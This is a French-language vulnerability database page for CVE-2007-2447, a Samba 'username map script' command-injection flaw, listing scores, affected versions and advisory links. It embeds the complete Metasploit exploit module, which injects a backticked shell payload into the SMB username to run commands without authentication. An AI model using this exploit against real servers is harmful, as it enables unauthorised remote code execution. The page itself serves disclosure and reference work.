CVE-2007-2447 : Détail

CVE-2007-2447

93.59%V3
Network
2007-05-14
19h00 +00:00
2018-10-16
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16320

Date de publication : 2010-08-17 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB # For our customized version of session_setup_ntlmv1 CONST = Rex::Proto::SMB::Constants CRYPT = Rex::Proto::SMB::Crypt def initialize(info = {}) super(update_info(info, 'Name' => 'Samba "username map script" Command Execution', 'Description' => %q{ This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10040 $', 'References' => [ [ 'CVE', '2007-2447' ], [ 'OSVDB', '34700' ], [ 'BID', '23972' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ], [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, # root or nobody user 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # mileage may vary from system to system.. } }, 'Targets' => [ [ "Automatic", { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2007')) register_options( [ Opt::RPORT(139) ], self.class) end def exploit connect # lol? username = "/=`nohup " + payload.encoded + "`" begin simple.client.negotiate(false) simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false) rescue ::Timeout::Error, XCEPT::LoginError # nothing, it either worked or it didn't ;) end handler end end

Products Mentioned

Configuraton 0

Samba>>Samba >> Version 3.0.0

Samba>>Samba >> Version 3.0.1

Samba>>Samba >> Version 3.0.2

Samba>>Samba >> Version 3.0.2a

Samba>>Samba >> Version 3.0.3

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.5

Samba>>Samba >> Version 3.0.6

Samba>>Samba >> Version 3.0.7

Samba>>Samba >> Version 3.0.8

Samba>>Samba >> Version 3.0.9

Samba>>Samba >> Version 3.0.10

Samba>>Samba >> Version 3.0.11

Samba>>Samba >> Version 3.0.12

Samba>>Samba >> Version 3.0.13

Samba>>Samba >> Version 3.0.14

Samba>>Samba >> Version 3.0.14a

Samba>>Samba >> Version 3.0.15

Samba>>Samba >> Version 3.0.16

Samba>>Samba >> Version 3.0.17

Samba>>Samba >> Version 3.0.18

Samba>>Samba >> Version 3.0.19

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20a

Samba>>Samba >> Version 3.0.20b

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21a

Samba>>Samba >> Version 3.0.21b

Samba>>Samba >> Version 3.0.21c

Samba>>Samba >> Version 3.0.22

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23a

Samba>>Samba >> Version 3.0.23b

Samba>>Samba >> Version 3.0.23c

Samba>>Samba >> Version 3.0.23d

Samba>>Samba >> Version 3.0.24

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Références

http://security.gentoo.org/glsa/glsa-200705-15.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/25289
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/2732
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2007/1805
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/26083
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3229
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/25772
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25257
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/268336
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/bid/23972
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/25270
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/2281
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2007/2210
Tags : vdb-entry, x_refsource_VUPEN
http://www.trustix.org/errata/2007/0017/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://www.ubuntu.com/usn/usn-460-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/25567
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25241
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/28292
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2007:104
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/25256
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25259
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/34700
Tags : vdb-entry, x_refsource_OSVDB
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102964-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
Tags : third-party-advisory, x_refsource_IDEFENSE
http://secunia.com/advisories/26909
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2008/0050
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/27706
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2007/dsa-1291
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securitytracker.com/id?1018051
Tags : vdb-entry, x_refsource_SECTRACK
http://securityreason.com/securityalert/2700
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/25232
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25251
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-66-200588-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/25246
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/25159
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/25255
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2007-0354.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/26235
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25675
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/2079
Tags : vdb-entry, x_refsource_VUPEN